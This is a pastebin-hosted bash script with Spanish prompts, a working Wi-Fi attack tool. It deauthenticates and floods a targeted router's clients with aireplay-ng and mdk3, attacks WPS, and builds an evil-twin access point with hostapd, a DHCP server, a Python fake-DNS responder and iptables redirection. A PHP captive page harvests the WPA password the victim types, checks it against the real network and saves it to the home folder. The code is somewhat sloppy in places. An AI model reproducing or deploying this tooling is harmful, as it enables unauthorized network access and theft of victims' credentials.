Advertisement
Guest User

Untitled

a guest
Apr 8th, 2017
405
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.28 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. DUMP_CELESTIAL944444="/tmp"
  4. IP=192.168.1.1
  5. RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)
  6. rm -rf /hostapd.psk
  7. rm -rf /hostapd.conf
  8. rm -rf /hostapd.psk
  9. touch /hostapd.psk
  10. touch /dhcpd.conf
  11. rm -rf /dhcpd.conf
  12.  
  13. negro="\033[0;30m"
  14. rojo="\033[0;31m"
  15. verde="\033[0;32m"
  16. marron="\033[0;33m"
  17. azul="\033[0;34m"
  18. magenta="\033[0;35m"
  19. cyan="\033[01;36m"
  20. grisC="\033[0;37m"
  21. gris="\033[1;30m"
  22. rojoC="\033[1;31m"
  23. verdeC="\033[1;32m"
  24. amarillo="\033[1;33m"
  25. azulC="\033[1;34m"
  26. magentaC="\033[1;35m"
  27. cyanC="\033[1;36m"
  28. blanco="\033[1;37m"
  29. subrayar="\E[4m"
  30. parpadeoON="\E[5m"
  31. parpadeoOFF="\E[0m"
  32. resaltar="\E[7m"
  33. clear
  34. menu () {
  35. clear
  36. echo -e "\e[12m\e[40m\e[1m "$rojo"desbloquear wps por saturno\e[0m";
  37. echo
  38. echo " 1: buscar Redes wifi con wpa tkip \c"
  39. echo
  40. echo " 2: des bloquear wps \c"
  41. echo
  42. echo " 3: mini linset celestial \c"
  43. echo
  44. read choice
  45. case $choice in
  46. 1)scan;;
  47. 2)celestial44494;;
  48. 3)celestial4449444;;
  49. esac
  50. }
  51. scan () {
  52.  
  53. # Coge todas las interfaces en modo monitor para detenerlas
  54. KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'`
  55.  
  56. for monkill in ${KILLMONITOR[@]}; do
  57. airmon-ng stop $monkill >$celestial490444_output_device
  58. echo -n "$monkill, "
  59. done
  60.  
  61. # Crea una variable con la lista interfaces de red fisicas
  62. readarray -t wirelessifaces < <(airmon-ng |grep "-" | awk '{print $1}')
  63. INTERFACESNUMBER=`airmon-ng| grep -c "-"`
  64.  
  65. echo
  66. echo
  67. echo Autodetectando Resolución...
  68. echo $detectedresolution
  69. echo
  70.  
  71.  
  72. # Si solo hay 1 tarjeta wireless
  73. if [ "$INTERFACESNUMBER" -gt "0" ]; then
  74.  
  75. echo "Selecciona una interface:"
  76. echo
  77. i=0
  78.  
  79. for line in "${wirelessifaces[@]}"; do
  80. i=$(($i+1))
  81. wirelessifaces[$i]=$line
  82. echo -e "$verde""$i)"$rescolor" $line"
  83. done
  84.  
  85. echo -n "#? "
  86. read line
  87. PREWIFI=${wirelessifaces[$line]}
  88.  
  89. if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then
  90. conditional_clear
  91.  
  92. setinterface
  93. fi
  94.  
  95. readarray -t softwaremolesto < <(airmon-ng check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }')
  96. WIFIDRIVER=$(airmon-ng | grep "$PREWIFI" | awk '{print($(NF-2))}')
  97. rmmod -f "$WIFIDRIVER" &>$celestial490444_output_device 2>&1
  98.  
  99. for molesto in "${softwaremolesto[@]}"; do
  100. killall "$molesto" &>$celestial490444_output_device
  101. done
  102. sleep 0.5
  103.  
  104. modprobe "$WIFIDRIVER" &>$celestial490444_output_device 2>&1
  105. sleep 0.5
  106. # Selecciona una interface
  107. select PREWIFI in $INTERFACES; do
  108. break;
  109. done
  110.  
  111. WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
  112. WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
  113. WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
  114. WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
  115. WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
  116. WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
  117. WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
  118. WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
  119. WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
  120.  
  121. WIFI_MONITOR=$WIFIMONITOR
  122. # Establece una variable para la interface fisica
  123. WIFI=$PREWIFI
  124. # Cerrar si no detecta nada
  125. else
  126.  
  127. echo No se han encontrado tarjetas Wireless. Cerrando...
  128. sleep 5
  129. exitmode
  130. fi
  131. echo "\n Por favor ingresa tu BSSID & ESSID & canal de la victima \n";
  132. gnome-terminal -e "airodump-ng --wps mon0 ";
  133. menu
  134. }
  135. celestial44494 () {
  136. DUMP_CELESTIAL944444="/tmp"
  137. IP=192.168.1.1
  138. RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)
  139. echo
  140. read -p " nombre poner el nombre dela red : " nombre ;
  141. echo
  142. read -p " mac poner la direcciones MAC del router : " mac ;
  143. echo
  144. read -p " canal poner el canal de la víctima : " canal ;
  145. echo
  146. echo
  147. read -p " 1) para el celestial tiempo de - timeout 44s segundos - timeout 4m minutos : " pause1 ;
  148. echo
  149. read -p " 2) continuar celestial poner y tiempo de - sleep 54s segundos - sleep 4m minutos : " pause2 ;
  150. echo
  151. read -p " 3) pause mdk3 poner y tiempo de - timeout 44s segundos - timeout 4m minutos : " pause3 ;
  152. echo
  153. read -p " 4) continuar mdk3 poner y tiempo de - sleep 84 segundos - sleep 6m minutos : " pause4 ;
  154. echo
  155. xterm -e airodump-ng --wps -c $canal mon1 &
  156. xterm -e aireplay-ng mon2 -1 100000000 -a "$mac" -e "$nombre" &
  157. celestial44494 & PAUSE & MDK3 & CELESTIAL444490444;
  158. sleep 14m
  159. }
  160. celestial4449444 () {
  161. DUMP_CELESTIAL944444="/tmp"
  162. IP=192.168.1.1
  163. RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)
  164. handshakecheck
  165. nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "$mac" | head -c 1)
  166.  
  167. if [ "$fakeapmode" = "hostapd" ]; then
  168.  
  169. ifconfig $WIFI down
  170. sleep 0.4
  171. macchanger --mac=$mac $WIFI &> $celestial490444_output_device
  172. sleep 0.4
  173. ifconfig $WIFI up
  174. sleep 0.4
  175. fi
  176. rm -rf /hostapd.psk
  177. rm -rf /hostapd.conf
  178. rm -rf /hostapd.psk
  179. touch /hostapd.psk
  180. touch /dhcpd.conf
  181. rm -rf /dhcpd.conf
  182. echo
  183. read -p " nombre poner el nombre dela red : " nombre ;
  184. echo
  185. read -p " mac poner la direcciones MAC del router : " mac ;
  186. echo
  187. read -p " canal poner el canal de la víctima : " canal ;
  188. echo
  189. read -p " 1) pause mdk3 poner y tiempo de - timeout 44s segundos - timeout 4m minutos : " pause344 ;
  190. echo
  191. read -p " 2) continuar mdk3 poner y tiempo de - sleep 84 segundos - sleep 6m minutos : " pause409444 ;
  192. echo
  193. xterm -hold -bg '#000000' -fg '#3A94FF' -e hostapd $DUMP_CELESTIAL944444/hostapd.conf &
  194. killall dhcpd &> $celestial490444_output_device
  195. xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -cf "$DUMP_CELESTIAL944444/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_CELESTIAL944444/clientes.txt" &
  196. xterm -hold -bg '#000000' -fg '#3A94FF' -e dhcpd -d -f -cf $DUMP_CELESTIAL944444/dhcpd.conf &
  197. killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $celestial490444_output_device
  198. xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_CELESTIAL944444/fakedns &
  199.  
  200. killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $celestial490444_output_device
  201. lighttpd -f $DUMP_CELESTIAL944444/lighttpd.conf &> $celestial490444_output_device
  202. chmod 777 $DUMP_CELESTIAL944444/lighttpd.conf
  203.  
  204. killall aireplay-ng &> $celestial490444_output_device
  205.  
  206. xterm -hold $TOPRIGHT -title "Esperando la wpa" -e $DUMP_CELESTIAL944444/handcheck &
  207.  
  208. while : ; do
  209. xterm -e hostapd_cli wps_pbc ; sleep 120 ; done &
  210. while : ; do
  211. xterm -e wpa_cli wps_pbc $nombre ; sleep 120 ; done &
  212. sleep 4;
  213. until test -s /hostapd.psk; do
  214. sleep 1;
  215. done &
  216. celestial4449444 & CELESTIAL444490444 & CELESTIAL4444904440 & NEUTRA & handshakecheck & MDK39044449044;
  217. sleep 14m
  218. }
  219. function PAUSE {
  220.  
  221. ( for (( i = 0; i < 10; i++ )); do
  222.  
  223. echo $i
  224.  
  225. time $pause2
  226. xterm -e killall -CONT celestial44494 & xterm -e $pause1 celestial44494 $IP -i mon3 -b $mac -R -vv &
  227. done )
  228. }
  229. function MDK3 {
  230.  
  231. ( for (( i = 0; i < 10; i++ )); do
  232.  
  233. echo $i
  234.  
  235. time $pause4
  236. xterm -e killall -CONT mdk3 & xterm -e $pause3 mdk3 mon4 a -a $mac -m &
  237. xterm -e killall -CONT mdk3 & xterm -e $pause3 mdk3 mon5 a -a $mac -m &
  238. done )
  239. }
  240. function MDK39044449044 {
  241.  
  242. ( for (( i = 0; i < 10; i++ )); do
  243.  
  244. echo $i
  245.  
  246. time $pause409444
  247. xterm -e killall -CONT mdk3 & xterm -e mdk3 mon6 $pause3444 a -a $mac -m &
  248. done )
  249. }
  250. function CELESTIAL4444904440 {
  251.  
  252. # Genera el config de hostapd
  253. echo "interface=$WIFI
  254. driver=nl80211
  255. ssid=$nombre
  256. ieee8021x=1
  257. wpa=2
  258. hw_mode=g
  259. ieee80211n=1
  260. channel=$canal
  261. wpa_key_mgmt=WPA-PSK
  262. wpa_pairwise=CCMP
  263. wpa_passphrase=12345670
  264. wpa_psk_file=/hostapd.psk
  265. ctrl_interface=/var/run/hostapd
  266. eap_server=1
  267. wps_state=2
  268. ap_setup_locked=0
  269. uuid=87654321-9abc-def0-1234-56789abc0000
  270. wps_pin_requests=/var/run/hostapd.pin-req
  271. device_name=Wireless AP
  272. manufacturer=Company
  273. model_name=WAP
  274. model_number=123
  275. serial_number=12345
  276. device_type=6-0050F204-1
  277. os_version=01020300
  278. config_methods=label display push_button keypad
  279. pbc_in_m1=1
  280. friendly_name=WPS Access Point
  281. ">$DUMP_CELESTIAL944444/hostapd.conf
  282.  
  283. # Crea el php que usan las ifaces
  284. echo "<?php
  285. error_reporting(0);
  286.  
  287. \$count_my_page = (\"$DUMP_CELESTIAL944444/hit.txt\");
  288. \$hits = file(\$count_my_page);
  289. \$hits[0] ++;
  290. \$fp = fopen(\$count_my_page , \"w\");
  291. fputs(\$fp , \"\$hits[0]\");
  292. fclose(\$fp);
  293.  
  294. // Receive form Post data and Saving it in variables
  295.  
  296. \$key1 = @\$_POST['key1'];
  297.  
  298. // Write the name of text file where data will be store
  299. \$filename = \"$DUMP_CELESTIAL944444/wpa.txt\";
  300. \$filename2 = \"$DUMP_CELESTIAL944444/status.txt\";
  301. \$intento = \"$DUMP_CELESTIAL944444/intento\";
  302.  
  303.  
  304. // Marge all the variables with text in a single variable.
  305. \$f_data= ''.\$key1.'';
  306.  
  307.  
  308. if ( (strlen(\$key1) < 8) ) {
  309. echo \"<script type=\\\"text/javascript\\\">alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()</script>\";
  310. break;
  311. }
  312.  
  313. if ( (strlen(\$key1) > 63) ) {
  314. echo \"<script type=\\\"text/javascript\\\">alert(\\\"$DIALOG_WEB_LENGHT_MAX\\\");window.history.back()</script>\";
  315. break;
  316. }
  317.  
  318.  
  319. \$file = fopen(\$filename, \"w\");
  320. fwrite(\$file,\"\$f_data\");
  321. fwrite(\$file,\"\n\");
  322. fclose(\$file);
  323.  
  324.  
  325. \$archivo = fopen(\$intento, \"w\");
  326. fwrite(\$archivo,\"\n\");
  327. fclose(\$archivo);
  328.  
  329. while(1)
  330. {
  331.  
  332. if (file_get_contents(\"\$intento\") == 2) {
  333. header(\"location:final.html\");
  334. break;
  335. }
  336. if (file_get_contents(\"\$intento\") == 1) {
  337. header(\"location:error.html\");
  338. unlink(\$intento);
  339. break;
  340. }
  341.  
  342. sleep(1);
  343. }
  344.  
  345. ?>" > $DUMP_CELESTIAL944444/data/savekey.php
  346.  
  347. # Se crea el config del servidor DHCP
  348. echo "authoritative;
  349.  
  350. default-lease-time 600;
  351. max-lease-time 7200;
  352.  
  353. subnet $RANG_IP.0 netmask 255.255.255.0 {
  354.  
  355. option broadcast-address $RANG_IP.255;
  356. option routers $IP;
  357. option subnet-mask 255.255.255.0;
  358. option domain-name-servers $IP;
  359.  
  360. range $RANG_IP.100 $RANG_IP.250;
  361.  
  362. }
  363. " >$DUMP_CELESTIAL944444/dhcpd.conf
  364.  
  365. echo "server.document-root = \"$DUMP_CELESTIAL944444/\"
  366.  
  367. server.modules = (
  368. \"mod_access\",
  369. \"mod_alias\",
  370. \"mod_accesslog\",
  371. \"mod_fastcgi\",
  372. \"mod_redirect\",
  373. \"mod_rewrite\"
  374. )
  375.  
  376. fastcgi.server = ( \".php\" => ((
  377. \"bin-path\" => \"/usr/bin/php-cgi\",
  378. \"socket\" => \"/php.socket\"
  379. )))
  380.  
  381. server.port = 80
  382. server.pid-file = \"/var/run/lighttpd.pid\"
  383. # server.username = \"www\"
  384. # server.groupname = \"www\"
  385.  
  386. mimetype.assign = (
  387. \".html\" => \"text/html\",
  388. \".htm\" => \"text/html\",
  389. \".txt\" => \"text/plain\",
  390. \".jpg\" => \"image/jpeg\",
  391. \".png\" => \"image/png\",
  392. \".css\" => \"text/css\"
  393. )
  394.  
  395. server.error-handler-404 = \"/\"
  396.  
  397. static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" )
  398. index-file.names = ( \"index.htm\" )
  399.  
  400.  
  401.  
  402. #Redirect www.domain.com to domain.com
  403. \$HTTP[\"host\"] =~ \"^www\.(.*)$\" {
  404. url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" )
  405.  
  406.  
  407. }
  408.  
  409. " >$DUMP_CELESTIAL944444/lighttpd.conf
  410.  
  411. # Script que redirige todas las peticiones del DNS a la puerta de enlace (nuestro PC)
  412. echo "import socket
  413.  
  414. class DNSQuery:
  415. def __init__(self, data):
  416. self.data=data
  417. self.dominio=''
  418.  
  419. tipo = (ord(data[2]) >> 3) & 15 # 4bits de tipo de consulta
  420. if tipo == 0: # Standard query
  421. ini=12
  422. lon=ord(data[ini])
  423. while lon != 0:
  424. self.dominio+=data[ini+1:ini+lon+1]+'.'
  425. ini+=lon+1
  426. lon=ord(data[ini])
  427.  
  428. def respuesta(self, ip):
  429. packet=''
  430. if self.dominio:
  431. packet+=self.data[:2] + \"\x81\x80\"
  432. packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Numero preg y respuestas
  433. packet+=self.data[12:] # Nombre de dominio original
  434. packet+='\xc0\x0c' # Puntero al nombre de dominio
  435. packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Tipo respuesta, ttl, etc
  436. packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # La ip en hex
  437. return packet
  438.  
  439. if __name__ == '__main__':
  440. ip='$IP'
  441. print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip
  442.  
  443. udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  444. udps.bind(('',53))
  445.  
  446. try:
  447. while 1:
  448. data, addr = udps.recvfrom(1024)
  449. p=DNSQuery(data)
  450. udps.sendto(p.respuesta(ip), addr)
  451. print 'Respuesta: %s -> %s' % (p.dominio, ip)
  452. except KeyboardInterrupt:
  453. print 'Finalizando'
  454. udps.close()
  455. " >$DUMP_CELESTIAL944444/fakedns
  456. chmod +x $DUMP_CELESTIAL944444/fakedns
  457.  
  458. }
  459. function CELESTIAL444490444 {
  460.  
  461. ifconfig $WIFI up
  462. ifconfig $WIFI $IP netmask 255.255.255.0
  463.  
  464. route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP
  465. echo "1" > /proc/sys/net/ipv4/ip_forward
  466.  
  467. iptables --flush
  468. iptables --table nat --flush
  469. iptables --delete-chain
  470. iptables --table nat --delete-chain
  471. iptables -P FORWARD ACCEPT
  472.  
  473. iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80
  474. iptables -t nat -A POSTROUTING -j MASQUERADE
  475. }
  476. # Crea el contenido de la interface web
  477. function NEUTRA {
  478.  
  479. cp -r "data" $DUMP_CELESTIAL944444
  480. cp "index.htm" $DUMP_CELESTIAL944444
  481. chmod 777 $DUMP_CELESTIAL944444/index.htm
  482. }
  483. # Crear carpeta de trabajo
  484. if [ ! -d $DUMP_CELESTIAL944444 ]; then
  485. mkdir $DUMP_CELESTIAL944444 &>$celestial490444_output_device
  486. fi
  487. function matartodo {
  488.  
  489. killall aireplay-ng &>$celestial490444_output_device
  490. kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$celestial490444_output_device
  491. killall hostapd &>$celestial490444_output_device
  492. killall hostapd2 &>$celestial490444_output_device
  493. killall lighttpd &>$celestial490444_output_device
  494. killall dhcpd &>$celestial490444_output_device
  495. killall xterm &>$celestial490444_output_device
  496. killall hostapd
  497. killall dhcpd
  498. killall xterm
  499.  
  500. }
  501. # Funcion que limpia las interfaces y sale
  502. function exitmode {
  503.  
  504. chmod 777 $DUMP_CELESTIAL944444/index.htm
  505.  
  506. echo -e "\n\n"$blanco"["$rojo" "$blanco"] "$rojo"Ejecutando."$rescolor""
  507.  
  508. chmod 777 $DUMP_CELESTIAL944444/savekey.php
  509.  
  510. echo -e "\n\n"$blanco"["$rojo" "$blanco"] "$rojo"Ejecutando."$rescolor""
  511.  
  512. chmod 777 $DUMP_CELESTIAL944444/lighttpd.conf
  513.  
  514. echo -e "\n\n"$blanco"["$rojo" "$blanco"] "$rojo"Ejecutando."$rescolor""
  515.  
  516. echo -e "\n\n"$blanco"["$rojo" "$blanco"] "$rojo"Ejecutando la limpieza y cerrando."$rescolor""
  517.  
  518. if ps -A | grep -q aireplay-ng; then
  519. echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"aireplay-ng"$rescolor""
  520. killall aireplay-ng &>$celestial490444_output_device
  521. fi
  522.  
  523. if ps -A | grep -q airodump-ng; then
  524. echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"airodump-ng"$rescolor""
  525. killall airodump-ng &>$celestial490444_output_device
  526. fi
  527.  
  528. if ps a | grep python| grep fakedns; then
  529. echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"python"$rescolor""
  530. kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$celestial490444_output_device
  531. fi
  532.  
  533. if ps -A | grep -q hostapd; then
  534. echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"hostapd"$rescolor""
  535. killall hostapd &>$celestial490444_output_device
  536. fi
  537.  
  538. if ps -A | grep -q lighttpd; then
  539. echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"lighttpd"$rescolor""
  540. killall lighttpd &>$celestial490444_output_device
  541. fi
  542.  
  543. if ps -A | grep -q dhcpd; then
  544. echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"dhcpd"$rescolor""
  545. killall dhcpd &>$celestial490444_output_device
  546. fi
  547.  
  548. if ps -A | grep -q mdk3; then
  549. echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Matando "$gris"mdk3"$rescolor""
  550. killall mdk3 &>$celestial490444_output_device
  551. fi
  552.  
  553. if [ "$WIFI_MONITOR" != "" ]; then
  554. echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Deteniendo interface "$verde"$WIFI_MONITOR"$rescolor""
  555. airmon-ng stop $WIFI_MONITOR &> $celestial490444_output_device
  556. fi
  557.  
  558. if [ "$WIFI" != "" ]; then
  559. echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Deteniendo interface "$verde"$WIFI"$rescolor""
  560. airmon-ng stop $WIFI &> $celestial490444_output_device
  561. fi
  562.  
  563. if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then
  564. echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Restaurando "$gris"ipforwarding"$rescolor""
  565. echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
  566. fi
  567.  
  568. echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Limpiando "$gris"iptables"$rescolor""
  569. iptables --flush
  570. iptables --table nat --flush
  571. iptables --delete-chain
  572. iptables --table nat --delete-chain
  573.  
  574. echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Restaurando "$gris"tput"$rescolor""
  575. tput cnorm
  576.  
  577. if [ $CELESTIAL944444_DEBUG != 1 ]; then
  578.  
  579. echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Eliminando "$gris"archivos"$rescolor""
  580. rm -R $DUMP_CELESTIAL944444/* &>$celestial490444_output_device
  581. fi
  582.  
  583. echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Reiniciando "$gris"NetworkManager"$rescolor""
  584. service restart networkmanager &> $celestial490444_output_device &
  585.  
  586. echo -e ""$blanco"["$verde"+"$blanco"] "$verde"Limpieza efectuada con exito!"$rescolor""
  587. exit
  588.  
  589. }
  590. # Ajusta el Script en modo normal o desarrollador
  591. if [ $CELESTIAL944444_DEBUG = 1 ]; then
  592. ## set to /dev/stdout when in developer/debugger mode
  593. export celestial490444_output_device=/dev/stdout
  594. HOLD="-hold"
  595. else
  596. ## set to /dev/null when in production mode
  597. export celestial490444_output_device=/dev/null
  598. HOLD=""
  599. fi
  600. # Si se recibe un error, mostrar la liena mientras estemos en modo DEBUG
  601. if [ "$CELESTIAL944444_DEBUG" = "1" ]; then
  602. trap 'err_report $LINENO' ERR
  603. fi
  604. # Hacer clears si el modo es normal
  605. function conditional_clear() {
  606.  
  607. if [[ "$celestial490444_output_device" != "/dev/stdout" ]]; then clear; fi
  608. }
  609. function handshakecheck {
  610.  
  611. echo "#!/bin/bash
  612.  
  613. echo > $DUMP_CELESTIAL944444/data.txt
  614. echo -n \"0\"> $DUMP_CELESTIAL944444/hit.txt
  615. echo "" >$DUMP_CELESTIAL944444/loggg
  616.  
  617. tput civis
  618. clear
  619.  
  620. minutos=0
  621. horas=0
  622. i=0
  623.  
  624. while true; do
  625.  
  626. segundos=\$i
  627. dias=\`expr \$segundos / 86400\`
  628. segundos=\`expr \$segundos % 86400\`
  629. horas=\`expr \$segundos / 3600\`
  630. segundos=\`expr \$segundos % 3600\`
  631. minutos=\`expr \$segundos / 60\`
  632. segundos=\`expr \$segundos % 60\`
  633.  
  634. if [ \"\$segundos\" -le 9 ]; then
  635. is=\"0\"
  636. else
  637. is=
  638. fi
  639.  
  640. if [ \"\$minutos\" -le 9 ]; then
  641. im=\"0\"
  642. else
  643. im=
  644. fi
  645.  
  646. if [ \"\$horas\" -le 9 ]; then
  647. ih=\"0\"
  648. else
  649. ih=
  650. fi">>$DUMP_CELESTIAL944444/handcheck
  651.  
  652. echo "
  653. wpa_passphrase $nombre \$(cat $DUMP_CELESTIAL944444/data.txt)>$DUMP_CELESTIAL944444/wpa_supplicant.conf &
  654. wpa_supplicant -i$WIFI -c$DUMP_CELESTIAL944444wpa_supplicant.conf -f $DUMP_CELESTIAL944444/loggg &
  655.  
  656. if [ -f $DUMP_PATH/intento ]; then
  657.  
  658. if grep -i 'WPA: Key negotiation completed' $DUMP_CELESTIAL944444/loggg; then
  659. echo \"2\">$DUMP_CELESTIAL944444/intento
  660. break
  661. else
  662. echo \"1\">$DUMP_CELESTIAL944444/intento
  663. fi
  664.  
  665. fi
  666. ">>$DUMP_CELESTIAL944444/handcheck
  667.  
  668. echo "readarray -t CLIENTESDHCP < <(cat $DUMP_CELESTIAL944444/clientes.txt | grep \"DHCPACK on\"| awk '!x[\$0]++' )
  669.  
  670. echo
  671. echo -e \" CELESTIAL:\"
  672. echo -e \" clave wpa........: "$rojo"\$(cat $DUMP_CELESTIAL944444/hit.txt)"$rescolor"\"
  673. echo -e \" Clientes........: "$azul"\$(cat $DUMP_CELESTIAL944444/clientes.txt | grep DHCPACK | awk '!x[\$0]++' | wc -l)"$rescolor"\"
  674. echo
  675. echo -e \" CLIENTES:\"
  676.  
  677. x=0
  678. for line in \"\${CLIENTESDHCP[@]}\"; do
  679. x=\$((\$x+1))
  680. echo -e \" "$verde"\$x) "$rojo"\$(echo \$line| cut -d \" \" -f 3) "$amarillo"\$(echo \$line| cut -d \" \" -f 5) "$verde"\$(echo \$line| cut -d \" \" -f 6)"$rescolor"\"
  681. done
  682.  
  683. echo -ne \"\033[K\033[u\"">>$DUMP_CELESTIAL944444/handcheck
  684.  
  685.  
  686. echo "sleep 5
  687.  
  688. killall wpa_supplicant &>$celestial490444_output_device
  689. killall wpa_passphrase &>$celestial490444_output_device
  690. let i=\$i+5">>$DUMP_CELESTIAL944444/handcheck
  691.  
  692. echo "done
  693. clear
  694. echo \"1\" > $DUMP_CELESTIAL944444/status.txt
  695.  
  696. sleep 7
  697.  
  698. killall mdk3 &>$celestial490444_output_device
  699. killall aireplay-ng &>$celestial490444_output_device
  700. killall airbase-ng &>$celestial490444_output_device
  701. kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$celestial490444_output_device
  702. killall hostapd &>$celestial490444_output_device
  703. killall hostapd2 &>$celestial490444_output_device
  704. killall lighttpd &>$celestial490444_output_device
  705. killall dhcpd &>$celestial490444_output_device
  706. killall wpa_supplicant &>$celestial490444_output_device
  707. killall wpa_passphrase &>$celestial490444_output_device
  708. killall hostapd
  709. killall dhcpd
  710. killall wpa_supplicant
  711. killall xterm
  712.  
  713. echo \"
  714. celestial $version por celestial
  715.  
  716. SSID: $nombre
  717. BSSID: $mac ($mac_MODEL)
  718. Channel: $canal
  719. Time: \$ih\$horas:\$im\$minutos:\$is\$segundos
  720. Password: \$(cat $DUMP_CELESTIAL944444/data.txt)
  721. \" >$HOME/$nombre-password.txt">>$DUMP_CELESTIAL944444/handcheck
  722.  
  723.  
  724. echo "echo -e \"Se ha guardado en "$rojo"$HOME/$nombre-password.txt"$rescolor"\"">>$DUMP_CELESTIAL944444/handcheck
  725.  
  726. echo "kill -INT \$(ps a | grep bash| grep celestial490444 | awk '{print \$1}') &>$celestial490444_output_device">>$DUMP_CELESTIAL944444/handcheck
  727. chmod +x $DUMP_CELESTIAL944444/handcheck
  728. }
  729. menu
  730.  
  731. Status
  732. API
  733. Training
  734. Shop
  735. Blog
  736. About
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement